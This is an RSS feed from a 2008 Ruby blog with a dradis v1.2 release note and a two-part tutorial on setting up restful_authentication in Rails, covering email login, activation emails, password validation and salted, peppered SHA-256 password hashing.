<?xml version="1.0" encoding="ISO-8859-15"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>etd's Dos and Dont's &#187; Ruby</title>
	<atom:link href="http://weblog.nomejortu.com/category/ruby/feed" rel="self" type="application/rss+xml" />
	<link>http://weblog.nomejortu.com</link>
	<description>specialization is for insects</description>
	<lastBuildDate>Sun, 20 Jul 2008 21:45:15 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>dradis v1.2 &#8211; now with one-click installer</title>
		<link>http://weblog.nomejortu.com/ruby/dradis-v12-now-with-one-click-installer</link>
		<comments>http://weblog.nomejortu.com/ruby/dradis-v12-now-with-one-click-installer#comments</comments>
		<pubDate>Fri, 13 Jun 2008 10:16:25 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Ruby]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/uncategorized/dradis-v12-now-with-one-click-installer</guid>
		<description><![CDATA[
In adition to the changes released on the 4th of April, yesterday we released a Windows one-click installer for dradis.
The summary of the features of the v1.2 release:

in the client:

export to XML module is now part of the standard module set.
a new implementation of the command line parser: now it is possible to use single [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://dradis.nomejortu.com/download.html#windows"><img style="float: right; border: none; margin: 2ex;" src="/data/img/nsis.png" alt="Windows one-click installer icon" /></a><br />
In adition to the changes released on the 4<sup>th</sup> of April, yesterday we released a Windows <a href="http://dradis.nomejortu.com/download.html#windows">one-click installer</a> for <strong>dradis</strong>.</p>
<p>The summary of the features of the v1.2 release:</p>
<ul>
<li>in the client:
<ul>
<li>export to XML module is now part of the standard module set.</li>
<li>a new implementation of the command line parser: now it is possible to use single and double quotes to pass multi-word arguments to the different commands.</li>
<li>fixed the window.rb:159 bug.</li>
</ul>
</li>
<li>in the server:
<ul>
<li>a slightly less annoying implementation of the web interface <em>auto refresh</em> functionality.</li>
<li>the services added through the web interface can have a name now <img src='http://weblog.nomejortu.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
<li>simple prevention against embedded XSS.</li>
</ul>
</li>
</ul>
<p>You can also download the platform-independent ruby source in the <a href="http://dradis.nomejortu.com/download.html">download</a> section of the site.</p>
<p style="text-align: center;"><a href="http://dradis.nomejortu.com/"><img style="border: none;" src="/data/img/dradis-banner.png" alt="dradis banner. click to go to dradis home" /></a></p>
<img src="http://weblog.nomejortu.com/?ak_action=api_record_view&id=56&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://weblog.nomejortu.com/ruby/dradis-v12-now-with-one-click-installer/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>restful_authentication howto, step-by-step (part 2)</title>
		<link>http://weblog.nomejortu.com/ruby/restful_authentication-howto-step-by-step-part-2</link>
		<comments>http://weblog.nomejortu.com/ruby/restful_authentication-howto-step-by-step-part-2#comments</comments>
		<pubDate>Fri, 06 Jun 2008 01:36:46 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Ruby]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/ruby/restful_authentication-howto-step-by-step-part-2</guid>
		<description><![CDATA[Picking it up were we left it on restful_authentication howto, step-by-step (part 1) the second article of this series is a hands on example on how to use the restful_authentication plugin.
Things that will be covered include:

remove the need of a login
the use of an activation email, the application will require it&#8217;s users to activate their [...]]]></description>
			<content:encoded><![CDATA[<p>Picking it up were we left it on <a href="/ruby/restful_authentication-step-by-step-part-1">restful_authentication howto, step-by-step (part 1)</a> the second article of this series is a hands on example on how to use the <a href="http://agilewebdevelopment.com/plugins/restful_authentication">restful_authentication</a> plugin.</p>
<p>Things that will be covered include:</p>
<ul>
<li>remove the need of a <strong>login</strong></li>
<li>the use of an <em>activation email</em>, the application will require it&#8217;s users to activate their accounts upong sign up.</li>
<li>howto get rid of the <strong>remember me</strong> functionality (just in case you don&#8217;t need it).</li>
<li>howto strengthen a bit the default security of the framework.</li>
</ul>
<p><span id="more-52"></span><br />
If you started a blank application with the first series, you can seamlessly continue with the instructions of this post from were we left it on the first part of this <em>howto</em>. Otherwise, you can grab the code of <a href="/data/code/ruby/restauthz.tar.bz2">restauthz</a> application, a small rails application that I have created and that can be used as a proof of concept out of the box. Let&#8217;s get this thing going.</p>
<p>Before we start, just a gentle reminder, be sure to include <code>AuthenticationSystem</code> in <code>ApplicationController</code>:-</p>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-identifier">include AuthenticatedSystem
</span><span class="hl-comment"># Filter the password and password_confirmation 
# fields from the log files
</span><span class="hl-identifier">filter_parameter_logging</span><span class="hl-default"> :</span><span class="hl-identifier">password</span><span class="hl-default">, :</span><span class="hl-identifier">password_confirmation</span></pre></div></div>
<h3>no login, just email</h3>
<p>The first step is to remove the <code>login</code> field from the <code>User</code> migration, this will ensure that we do not use it in the code <img src='http://weblog.nomejortu.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>We also need to remove the revelant validatiors in the <code>User</code> model. In addition to this, some changes to the <code>authenticate</code> are required:-</p>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-reserved">def self</span><span class="hl-default">.</span><span class="hl-identifier">authenticate</span><span class="hl-brackets">(</span><span class="hl-identifier">email</span><span class="hl-code">, </span><span class="hl-identifier">password</span><span class="hl-brackets">)
  </span><span class="hl-identifier">u</span><span class="hl-default"> = </span><span class="hl-identifier">find_in_state</span><span class="hl-default"> :</span><span class="hl-identifier">first</span><span class="hl-default">, :</span><span class="hl-identifier">active</span><span class="hl-default">, :</span><span class="hl-identifier">conditions</span><span class="hl-default"> =&gt; {:</span><span class="hl-identifier">email</span><span class="hl-default"> =&gt; </span><span class="hl-identifier">email</span><span class="hl-default">} </span><span class="hl-comment"># need to get the salt
  </span><span class="hl-identifier">u</span><span class="hl-default"> &amp;&amp; </span><span class="hl-identifier">u</span><span class="hl-default">.</span><span class="hl-identifier">authenticated</span><span class="hl-default">?</span><span class="hl-brackets">(</span><span class="hl-identifier">password</span><span class="hl-brackets">)</span><span class="hl-default"> ? </span><span class="hl-identifier">u</span><span class="hl-default"> : </span><span class="hl-reserved">nil
end</span></pre></div></div>
<p>We also need to update the call to this function in the <code>SessionsController</code> (line 9):-</p>
<div class="hl-surround" style="height:28px;"><div class="hl-main"><pre><span class="hl-reserved">self</span><span class="hl-default">.</span><span class="hl-identifier">current_user</span><span class="hl-default"> = </span><span class="hl-identifier">User</span><span class="hl-default">.</span><span class="hl-identifier">authenticate</span><span class="hl-brackets">(</span><span class="hl-identifier">params</span><span class="hl-brackets">[</span><span class="hl-code">:</span><span class="hl-identifier">email</span><span class="hl-brackets">]</span><span class="hl-code">, </span><span class="hl-identifier">params</span><span class="hl-brackets">[</span><span class="hl-code">:</span><span class="hl-identifier">password</span><span class="hl-brackets">])</span></pre></div></div>
<p>And that&#8217;s it. It wasn&#8217;t that difficult, was it?</p>
<h3>email activation</h3>
<p>The only thing that we are going to tweak is the templates provided by <strong>restful_authentication</strong>. </p>
<p>In <code>./app/model/user_mailer.rb</code> you can modify the email headers such as the <strong>subject</strong> and <strong>from</strong> address. The body of the emails is located under <code>./app/views/user_mailer/</code>. </p>
<p>The system sends to the users two emails, one after signup (this one contains the <em>activation link</em>) and one once the user has activated the account.</p>
<p>By default the templates contain the newly created user&#8217;s password, which is something that is controversial to say the least. I decided to get rid of the password, but this depends on your needs more than anything else.</p>
<h3>remember me</h3>
<p>Another feature that is application dependant is the use of a <em>remember me functionality</em>: a check box in the login form that would cause the application to store an authentication token in the user&#8217;s cookie so the next time the user visits the site does not have to authenticate again. I decided to nail down this example to the very basics, so no <em>remember me</em> functionality in this instance. </p>
<p>This can be accomplished by making some modifications to the <strong>AuthenticatedSystem#current_user</strong> function:</p>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-reserved">def </span><span class="hl-identifier">current_user
  </span><span class="hl-comment">#@current_user ||= (login_from_session || login_from_basic_auth || login_from_cookie) unless @current_user == false
  # only session based login for the time being
  </span><span class="hl-var">@current_user</span><span class="hl-default"> ||= </span><span class="hl-identifier">login_from_session </span><span class="hl-reserved">unless </span><span class="hl-var">@current_user</span><span class="hl-default"> == </span><span class="hl-reserved">false
end</span></pre></div></div>
<p>In the previous code, the <code>@current_user</code> variable is only set through the session, no HTTP Basic (careful if you have ActiveResource clients) or <em>remember me</em> cookie.</p>
<h3>security tweaks</h3>
<p><strong>password policy</strong><br />
A strong password policy is enforced by means of rails&#8217; <a href="http://api.rubyonrails.org/classes/ActiveRecord/Validations/ClassMethods.html#M001331">validate_format_of</a>. In the <code>User</code> model:-</p>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-reserved">class </span><span class="hl-identifier">User</span><span class="hl-default"> &lt; </span><span class="hl-identifier">ActiveRecord</span><span class="hl-default">::</span><span class="hl-identifier">Base
  </span><span class="hl-brackets">[</span><span class="hl-code">...</span><span class="hl-brackets">]  
  </span><span class="hl-identifier">validates_format_of</span><span class="hl-default"> :</span><span class="hl-identifier">password</span><span class="hl-default">, 
    :</span><span class="hl-identifier">with</span><span class="hl-default"> =&gt;</span><span class="hl-quotes"> /</span><span class="hl-string">^(?=.*</span><span class="hl-special">\d</span><span class="hl-string">)(?=.*([a-z]|[A-Z]))([</span><span class="hl-special">\x</span><span class="hl-string">20-</span><span class="hl-special">\x</span><span class="hl-string">7E]){8,40}$</span><span class="hl-quotes">/</span><span class="hl-default">,
    :</span><span class="hl-identifier">message</span><span class="hl-default"> =&amp;</span><span class="hl-identifier">gt</span><span class="hl-default">; </span><span class="hl-quotes">'</span><span class="hl-string">chosen is not complex enough!</span><span class="hl-quotes">'
  </span><span class="hl-identifier">validates_format_of</span><span class="hl-default"> :</span><span class="hl-identifier">email</span><span class="hl-default">, 
    :</span><span class="hl-identifier">with</span><span class="hl-default"> =&gt;</span><span class="hl-quotes"> /</span><span class="hl-string">^([a-zA-Z0-9_'+*$%</span><span class="hl-special">\^</span><span class="hl-string">&amp;!</span><span class="hl-special">\.\-</span><span class="hl-string">])+</span><span class="hl-special">\@</span><span class="hl-string">(([a-zA-Z0-9</span><span class="hl-special">\-</span><span class="hl-string">])+</span><span class="hl-special">\.</span><span class="hl-string">)+([a-zA-Z0-9:]{2,4})+$</span><span class="hl-quotes">/</span><span class="hl-default">, 
    :</span><span class="hl-identifier">message</span><span class="hl-default"> =&gt; </span><span class="hl-quotes">'</span><span class="hl-string">field does not look like an email.</span><span class="hl-quotes">'
  </span><span class="hl-brackets">[</span><span class="hl-code">...</span><span class="hl-brackets">]
</span><span class="hl-reserved">end</span></pre></div></div>
<p>In the code above we match both the email and the password against regular expressions to verify the syntax. </p>
<p>The regular expression for the password was taken from <a href="http://ajaxonrails.wordpress.com/2006/10/19/using-regular-expression-in-ruby-on-rails-regex-for-password-validation/">Using Regular Expression in Ruby on Rails &#8212; Regexp for Password Validation</a>:-</p>
<blockquote><p>
Lets say we have to implement the following validations to validate a password:<br />
    * Password should contain atleast one integer.<br />
    * Password should contain atleast one alphabet(either in downcase or upcase).<br />
    * Password can have special characters from 20 to 7E ascii values.<br />
    * Password should be minimum of 8 and maximum of 40 cahracters long.
</p></blockquote>
<p><strong>password with salt &amp; pepper</strong></p>
<blockquote><p>
Storing a password in plaintext may result in a system compromise (<a href="http://www.owasp.org/">OWASP</a>).
</p></blockquote>
<p>Conveniently enough, <strong>restful_authentication</strong> uses a <a href="http://en.wikipedia.org/wiki/Hash_function">hash function</a> to protect user passwords: the <a href="http://en.wikipedia.org/wiki/SHA-1">SHA-1</a>. It also uses a <a href="http://en.wikipedia.org/wiki/Salting_%28cryptography%29">salt</a>. Here are however two tricks to increase the security of the default setup:</p>
<p><strong>First</strong> we are going to hash the password with salt and pepper. The salt is specific to each user and will be stored in the database along with the user&#8217;s hashed password. If an attacker can compromise the database, they would have access to both the salt and the hash and brute force attacks could be mounted by using custom scripts or <a href="http://en.wikipedia.org/wiki/Rainbow_table">rainbow tables</a>. The trick here is to add a second component, the <strong>pepper</strong>. The pepper is another random string that will be used to add some extra entropy to the password hashing process. In our implementation the same pepper will be used for all the users and it will be stored in the code. If an attacker gains access to the database, no successful brute force attack can be mounted without knowing the pepper. If an attacker gains access to both the database and the code&#8230; <img src='http://weblog.nomejortu.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>You can easily generate your <strong>pepper</strong> using something like this in code in <code>irb</code>:-</p>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-reserved">require </span><span class="hl-quotes">'</span><span class="hl-string">digest/sha2</span><span class="hl-quotes">'
</span><span class="hl-identifier">s</span><span class="hl-default"> = </span><span class="hl-quotes">''
</span><span class="hl-identifier">chars</span><span class="hl-default"> = </span><span class="hl-brackets">(</span><span class="hl-quotes">&quot;</span><span class="hl-string">a</span><span class="hl-quotes">&quot;</span><span class="hl-code">..</span><span class="hl-quotes">&quot;</span><span class="hl-string">z</span><span class="hl-quotes">&quot;</span><span class="hl-brackets">)</span><span class="hl-default">.</span><span class="hl-identifier">to_a</span><span class="hl-default"> + </span><span class="hl-brackets">(</span><span class="hl-quotes">&quot;</span><span class="hl-string">A</span><span class="hl-quotes">&quot;</span><span class="hl-code">..</span><span class="hl-quotes">&quot;</span><span class="hl-string">Z</span><span class="hl-quotes">&quot;</span><span class="hl-brackets">)</span><span class="hl-default">.</span><span class="hl-identifier">to_a</span><span class="hl-default"> + </span><span class="hl-brackets">(</span><span class="hl-quotes">&quot;</span><span class="hl-string">0</span><span class="hl-quotes">&quot;</span><span class="hl-code">..</span><span class="hl-quotes">&quot;</span><span class="hl-string">9</span><span class="hl-quotes">&quot;</span><span class="hl-brackets">)</span><span class="hl-default">.</span><span class="hl-identifier">to_a
</span><span class="hl-number">1.</span><span class="hl-identifier">upto</span><span class="hl-brackets">(</span><span class="hl-number">4</span><span class="hl-brackets">)</span><span class="hl-default"> { |</span><span class="hl-identifier">i</span><span class="hl-default">| </span><span class="hl-identifier">s</span><span class="hl-default"> &lt; &lt; </span><span class="hl-identifier">chars</span><span class="hl-brackets">[</span><span class="hl-identifier">rand</span><span class="hl-brackets">(</span><span class="hl-identifier">chars</span><span class="hl-code">.</span><span class="hl-identifier">size</span><span class="hl-code">-</span><span class="hl-number">1</span><span class="hl-brackets">)]</span><span class="hl-default"> }
</span><span class="hl-identifier">s</span><span class="hl-default"> += </span><span class="hl-identifier">Time</span><span class="hl-default">.</span><span class="hl-identifier">now</span><span class="hl-default">.</span><span class="hl-identifier">to_s
</span><span class="hl-number">1.</span><span class="hl-identifier">upto</span><span class="hl-brackets">(</span><span class="hl-number">4</span><span class="hl-brackets">)</span><span class="hl-default"> { |</span><span class="hl-identifier">i</span><span class="hl-default">| </span><span class="hl-identifier">s</span><span class="hl-default"> &lt;&lt; </span><span class="hl-identifier">chars</span><span class="hl-brackets">[</span><span class="hl-identifier">rand</span><span class="hl-brackets">(</span><span class="hl-identifier">chars</span><span class="hl-code">.</span><span class="hl-identifier">size</span><span class="hl-code">-</span><span class="hl-number">1</span><span class="hl-brackets">)]</span><span class="hl-default"> }
</span><span class="hl-identifier">Digest</span><span class="hl-default">::</span><span class="hl-identifier">SHA256</span><span class="hl-default">.</span><span class="hl-identifier">hexdigest</span><span class="hl-brackets">(</span><span class="hl-identifier">s</span><span class="hl-brackets">)</span><span class="hl-default">
=&gt; </span><span class="hl-quotes">&quot;</span><span class="hl-string">9fa4c6519da9d2121bc42be1d63813f591bba8ece5b753e6ceefed00f15e5342</span><span class="hl-quotes">&quot;</span></pre></div></div>
<p>The random character generation was taken from <a href="http://snippets.dzone.com/posts/show/491">generate a random password</a>.</p>
<p>And <strong>second</strong>, we can upgrade the system to use the more secure SHA-256 both for the hashed password and the salt. We will keep SHA-1 for the sake of variety <img src='http://weblog.nomejortu.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>In order to accomplish this, some modifications are needed to the <code>./app/model/user.rb</code>. First we need to include the required files:-</p>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-comment"># sha1 for activation code. sha2 for the passwords
</span><span class="hl-reserved">require </span><span class="hl-quotes">'</span><span class="hl-string">digest/sha1</span><span class="hl-quotes">'
</span><span class="hl-reserved">require </span><span class="hl-quotes">'</span><span class="hl-string">digest/sha2</span><span class="hl-quotes">'</span></pre></div></div>
<p>Then the password encryption function:-</p>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-comment"># We are using both, salt and peper to hash the 
# password. The new password hash uses 
# SHA2.hexdigest
</span><span class="hl-reserved">def self</span><span class="hl-default">.</span><span class="hl-identifier">encrypt</span><span class="hl-brackets">(</span><span class="hl-identifier">password</span><span class="hl-code">, </span><span class="hl-identifier">salt</span><span class="hl-brackets">)
  </span><span class="hl-identifier">pepper</span><span class="hl-default"> = </span><span class="hl-quotes">'</span><span class="hl-string">9fa4c6519da9d2121bc42be1d63813f591bba8ece5b753e6ceefed00f15e5342</span><span class="hl-quotes">'
  </span><span class="hl-identifier">Digest</span><span class="hl-default">::</span><span class="hl-identifier">SHA256</span><span class="hl-default">.</span><span class="hl-identifier">hexdigest</span><span class="hl-brackets">(</span><span class="hl-quotes">&quot;</span><span class="hl-string">--#{salt}--#{password}--#{pepper}--</span><span class="hl-quotes">&quot;</span><span class="hl-brackets">)
</span><span class="hl-reserved">end</span></pre></div></div>
<p>And the salt generation function:-</p>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-comment"># The salt is also created using SHA256
</span><span class="hl-reserved">def </span><span class="hl-identifier">encrypt_password
  </span><span class="hl-reserved">return if </span><span class="hl-identifier">password</span><span class="hl-default">.</span><span class="hl-identifier">blank</span><span class="hl-default">?
  </span><span class="hl-reserved">self</span><span class="hl-default">.</span><span class="hl-identifier">salt</span><span class="hl-default"> = </span><span class="hl-identifier">Digest</span><span class="hl-default">::</span><span class="hl-identifier">SHA256</span><span class="hl-default">.</span><span class="hl-identifier">hexdigest</span><span class="hl-brackets">(</span><span class="hl-quotes">&quot;</span><span class="hl-string">--#{Time.now.to_s}--#{email}--</span><span class="hl-quotes">&quot;</span><span class="hl-brackets">) </span><span class="hl-reserved">if </span><span class="hl-identifier">new_record</span><span class="hl-default">?
  </span><span class="hl-reserved">self</span><span class="hl-default">.</span><span class="hl-identifier">crypted_password</span><span class="hl-default"> = </span><span class="hl-identifier">encrypt</span><span class="hl-brackets">(</span><span class="hl-identifier">password</span><span class="hl-brackets">)
</span><span class="hl-reserved">end</span></pre></div></div>
<p>In order to store the new hash, we need to increase the length of the salt and crypted password fields in the database. This can be done in the migrations file:-</p>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-identifier">t</span><span class="hl-default">.</span><span class="hl-identifier">column</span><span class="hl-default"> :</span><span class="hl-identifier">crypted_password</span><span class="hl-default">,          :</span><span class="hl-identifier">string</span><span class="hl-default">, :</span><span class="hl-identifier">limit</span><span class="hl-default"> =&gt; </span><span class="hl-number">64
</span><span class="hl-identifier">t</span><span class="hl-default">.</span><span class="hl-identifier">column</span><span class="hl-default"> :</span><span class="hl-identifier">salt</span><span class="hl-default">,                      :</span><span class="hl-identifier">string</span><span class="hl-default">, :</span><span class="hl-identifier">limit</span><span class="hl-default"> =&gt; </span><span class="hl-number">64</span></pre></div></div>
<h3>summary</h3>
<p>So that was it, the <a href="/data/code/ruby/restauthz.tar.bz2">restauthz</a> application should cover all the needs to get you started with restful_authentication. There is still room for improvement, think the <strong>I forgot my password</strong> functionality, or a facility for your users to change their passwords, but that is definitely another story <img src='http://weblog.nomejortu.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<img src="http://weblog.nomejortu.com/?ak_action=api_record_view&id=52&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://weblog.nomejortu.com/ruby/restful_authentication-howto-step-by-step-part-2/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>restful_authentication howto, step-by-step (part 1)</title>
		<link>http://weblog.nomejortu.com/ruby/restful_authentication-step-by-step-part-1</link>
		<comments>http://weblog.nomejortu.com/ruby/restful_authentication-step-by-step-part-1#comments</comments>
		<pubDate>Fri, 16 May 2008 23:53:20 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Ruby]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/ruby/restful_authentication-step-by-step-part-1</guid>
		<description><![CDATA[There are more than a hundred thousand different ways of implementing authentication in ruby on rails. Authentication in the rails world is definetly not for the faint hearted. After some random reading through the rails wiki it seemed quite clear that there is one winner: acts_as_authenticated. However, after including this plugin in one of my [...]]]></description>
			<content:encoded><![CDATA[<p>There are <a href="http://wiki.rubyonrails.com/rails/pages/Authentication">more than a hundred thousand</a> different ways of implementing authentication in ruby on rails. Authentication in the rails world is definetly not for the faint hearted. After some random reading through the rails wiki it seemed quite clear that there is one winner: <a href="http://wiki.rubyonrails.org/rails/pages/acts_as_authenticated">acts_as_authenticated</a>. However, after including this plugin in one of my secret projects to take over the world, it seems that is lacking some functionality, what I need out of the authentication framework is:</p>
<ul>
<li>A no non-sense authentication: just email and password. No bells, no wistles.</li>
<li>The system should send an <em>activation email</em> after the user signs up.</li>
</ul>
<p>Let&#8217;s explore the alternatives <img src='http://weblog.nomejortu.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
<span id="more-51"></span></p>
<h3>The haystack&#8230;</h3>
<p>As stated elsewhere <strong>acts_as_authenticated</strong> is a neat solution that just <em>gets out of the way</em>. It is nice and easy to integrate. However, it is a bit too simple. <a href="http://rubyforge.org/projects/loginsugar/">loginsugar</a> seemed to be a suitable alternative with <a href="http://wiki.rubyonrails.org/rails/show/ActionMailer">ActionMailer</a> integration out of the box. </p>
<p>I decided to give it a try. It has a good documentation that walks you through the process of integrating it in your app, but it did not seem to be a goal too easy to accomplish <img src='http://weblog.nomejortu.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>What I finally decided was to take specific bits and pieces of the <strong>loginsugar</strong> and integrate them with plain old <strong>acts_as_authenticated</strong>.</p>
<p>First step of the process: I created a brand new project and installed the <strong>acts_as_authenticated</strong> plugin. It was surprising to find the following line in the README file:</p>
<blockquote><p>DEPRECATED: Use restful_authentication instead.  Or, ask me for commit rights if you wish to maintain this plugin.</p></blockquote>
<p>&#8230;  <img src='http://weblog.nomejortu.com/wp-includes/images/smilies/icon_rolleyes.gif' alt=':roll:' class='wp-smiley' />  So I was right back at the begining, everybody recommended <strong>acts_as_authenticated</strong> but <strong>acts_as_authenticated</strong> recommended <a href="http://agilewebdevelopment.com/plugins/restful_authentication">restuful_authentication</a>&#8230; I thought that if <strong>acts_as_authenticated</strong> is recommending something, it has to be good <img src='http://weblog.nomejortu.com/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' />  And I decided to give <strong>restuful_authentication</strong> a try. </p>
<h3>&#8230; and the needle</h3>
<p>Lets get out hands dirty, create a new project and install the plugin with:-</p>
<div class="hl-surround" style="height:28px;"><div class="hl-main"><pre>$ ./script/plugin  install http://svn.techno-weenie.net/projects/plugins/restful_authentication/</pre></div></div>
<p>It turns out that the plugin has the <em>activation email</em> functionality out of the box, the only requirement is the use of a few command line options:-</p>
<div class="hl-surround" ><div class="hl-main"><pre>$ ./script/generate authenticated
Usage: ./script/generate authenticated ModelName [ControllerName]

Options:
        --skip-migration             Don't generate a migration file for this model
        --include-activation         Generate signup 'activation code' confirmation via email
        --stateful                   Use acts_as_state_machine.  Assumes --include-activation
        --rspec                      Force rspec mode (checks for RAILS_ROOT/spec by default)</pre></div></div>
<p>We need to include the <code>--include-activation</code> for the email, which in turn requires <code>--stateful</code>. The idea is that you are going to associate a small <a href="http://en.wikipedia.org/wiki/State_Machine">state machine</a> to each user. From signed up, to pending; after the user actives the account, the status changes to active, etc. </p>
<p>It is quite neat. However it has the drawback that requires another plugin: <a href="http://agilewebdevelopment.com/plugins/acts_as_state_machine">acts_as_state_machine</a>, but more on that later.</p>
<p>In order to generate your user model and your session controller, you need to issue the following:-</p>
<div class="hl-surround" ><div class="hl-main"><pre>$ ./script/generate authenticated user sessions \
                --include-activation \
                --stateful</pre></div></div>
<p>This generates the required files. It also creates the routes to the user and session resources in <code>./conf/routes.rb</code>:-</p>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-comment">#[...]
</span><span class="hl-identifier">map</span><span class="hl-default">.</span><span class="hl-identifier">resources</span><span class="hl-default"> :</span><span class="hl-identifier">users
map</span><span class="hl-default">.</span><span class="hl-identifier">resource</span><span class="hl-default"> :</span><span class="hl-identifier">session
</span><span class="hl-comment">#[...]</span></pre></div></div>
<p>However, as the README file suggests we need to modify the <code>:users</code> resource as follows:-</p>
<div class="hl-surround" style="height:28px;"><div class="hl-main"><pre><span class="hl-identifier">map</span><span class="hl-default">.</span><span class="hl-identifier">resources</span><span class="hl-default"> :</span><span class="hl-identifier">users</span><span class="hl-default">, :</span><span class="hl-identifier">member</span><span class="hl-default"> =&gt; { :</span><span class="hl-identifier">suspend</span><span class="hl-default"> =&gt; :</span><span class="hl-identifier">put</span><span class="hl-default">, :</span><span class="hl-identifier">unsuspend</span><span class="hl-default"> =&gt; :</span><span class="hl-identifier">put</span><span class="hl-default">, :</span><span class="hl-identifier">purge</span><span class="hl-default"> =&gt; :</span><span class="hl-identifier">delete</span><span class="hl-default"> }</span></pre></div></div>
<p>An extra line in <code>./config/environment.rb</code> is also required (make sure you include it inside the <code>Rails::Initializer.run</code> block):-</p>
<div class="hl-surround" style="height:28px;"><div class="hl-main"><pre><span class="hl-identifier">config</span><span class="hl-default">.</span><span class="hl-identifier">active_record</span><span class="hl-default">.</span><span class="hl-identifier">observers</span><span class="hl-default"> = :</span><span class="hl-identifier">user_observer</span></pre></div></div>
<p>The next step is to install the <strong>acts_as_state_machine</strong> plugin and to run <code>rake db:migrate</code> to initialize the database:-</p>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-var">$ </span><span class="hl-default">.</span><span class="hl-quotes">/</span><span class="hl-string">script</span><span class="hl-quotes">/</span><span class="hl-identifier">plugin install http</span><span class="hl-default">:</span><span class="hl-quotes">//</span><span class="hl-identifier">elitists</span><span class="hl-default">.</span><span class="hl-identifier">textdriven</span><span class="hl-default">.</span><span class="hl-identifier">com</span><span class="hl-quotes">/</span><span class="hl-string">svn</span><span class="hl-quotes">/</span><span class="hl-identifier">plugins</span><span class="hl-quotes">/</span><span class="hl-string">acts_as_state_machine</span><span class="hl-quotes">/</span><span class="hl-identifier">trunk
</span><span class="hl-brackets">[</span><span class="hl-code">...</span><span class="hl-brackets">]
</span><span class="hl-var">$ </span><span class="hl-identifier">rake db</span><span class="hl-default">:</span><span class="hl-identifier">migrate</span></pre></div></div>
<p>Now you are set. Feel free to run <code>rake</code> that all the tests will pass without warnings. Only one tip from the <a href="http://railscasts.com/episodes/67">restful_authentication railscast</a>: to get short urls for <code>signup</code>, <code>login</code> and <code>logout</code> add the following to your <code>./config/routes.rb</code>:</p>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-identifier">map</span><span class="hl-default">.</span><span class="hl-identifier">signup </span><span class="hl-quotes">'</span><span class="hl-string">/signup</span><span class="hl-quotes">'</span><span class="hl-default">, :</span><span class="hl-identifier">controller</span><span class="hl-default"> =&gt; </span><span class="hl-quotes">'</span><span class="hl-string">users</span><span class="hl-quotes">'</span><span class="hl-default">, :</span><span class="hl-identifier">action</span><span class="hl-default"> =&gt; </span><span class="hl-quotes">'</span><span class="hl-string">new</span><span class="hl-quotes">'
</span><span class="hl-identifier">map</span><span class="hl-default">.</span><span class="hl-identifier">connect </span><span class="hl-quotes">'</span><span class="hl-string">/activate/:activation_code</span><span class="hl-quotes">'</span><span class="hl-default">, :</span><span class="hl-identifier">controller</span><span class="hl-default"> =&gt; </span><span class="hl-quotes">'</span><span class="hl-string">users</span><span class="hl-quotes">'</span><span class="hl-default">, :</span><span class="hl-identifier">action</span><span class="hl-default"> =&gt; </span><span class="hl-quotes">'</span><span class="hl-string">activate</span><span class="hl-quotes">'
</span><span class="hl-identifier">map</span><span class="hl-default">.</span><span class="hl-identifier">login </span><span class="hl-quotes">'</span><span class="hl-string">/login</span><span class="hl-quotes">'</span><span class="hl-default">, :</span><span class="hl-identifier">controller</span><span class="hl-default"> =&gt; </span><span class="hl-quotes">'</span><span class="hl-string">sessions</span><span class="hl-quotes">'</span><span class="hl-default">, :</span><span class="hl-identifier">action</span><span class="hl-default"> =&gt; </span><span class="hl-quotes">'</span><span class="hl-string">new</span><span class="hl-quotes">'
</span><span class="hl-identifier">map</span><span class="hl-default">.</span><span class="hl-identifier">logout </span><span class="hl-quotes">'</span><span class="hl-string">/logout</span><span class="hl-quotes">'</span><span class="hl-default">, :</span><span class="hl-identifier">controller</span><span class="hl-default"> =&gt; </span><span class="hl-quotes">'</span><span class="hl-string">sessions</span><span class="hl-quotes">'</span><span class="hl-default">, :</span><span class="hl-identifier">action</span><span class="hl-default"> =&gt; </span><span class="hl-quotes">'</span><span class="hl-string">destroy</span><span class="hl-quotes">'</span></pre></div></div>
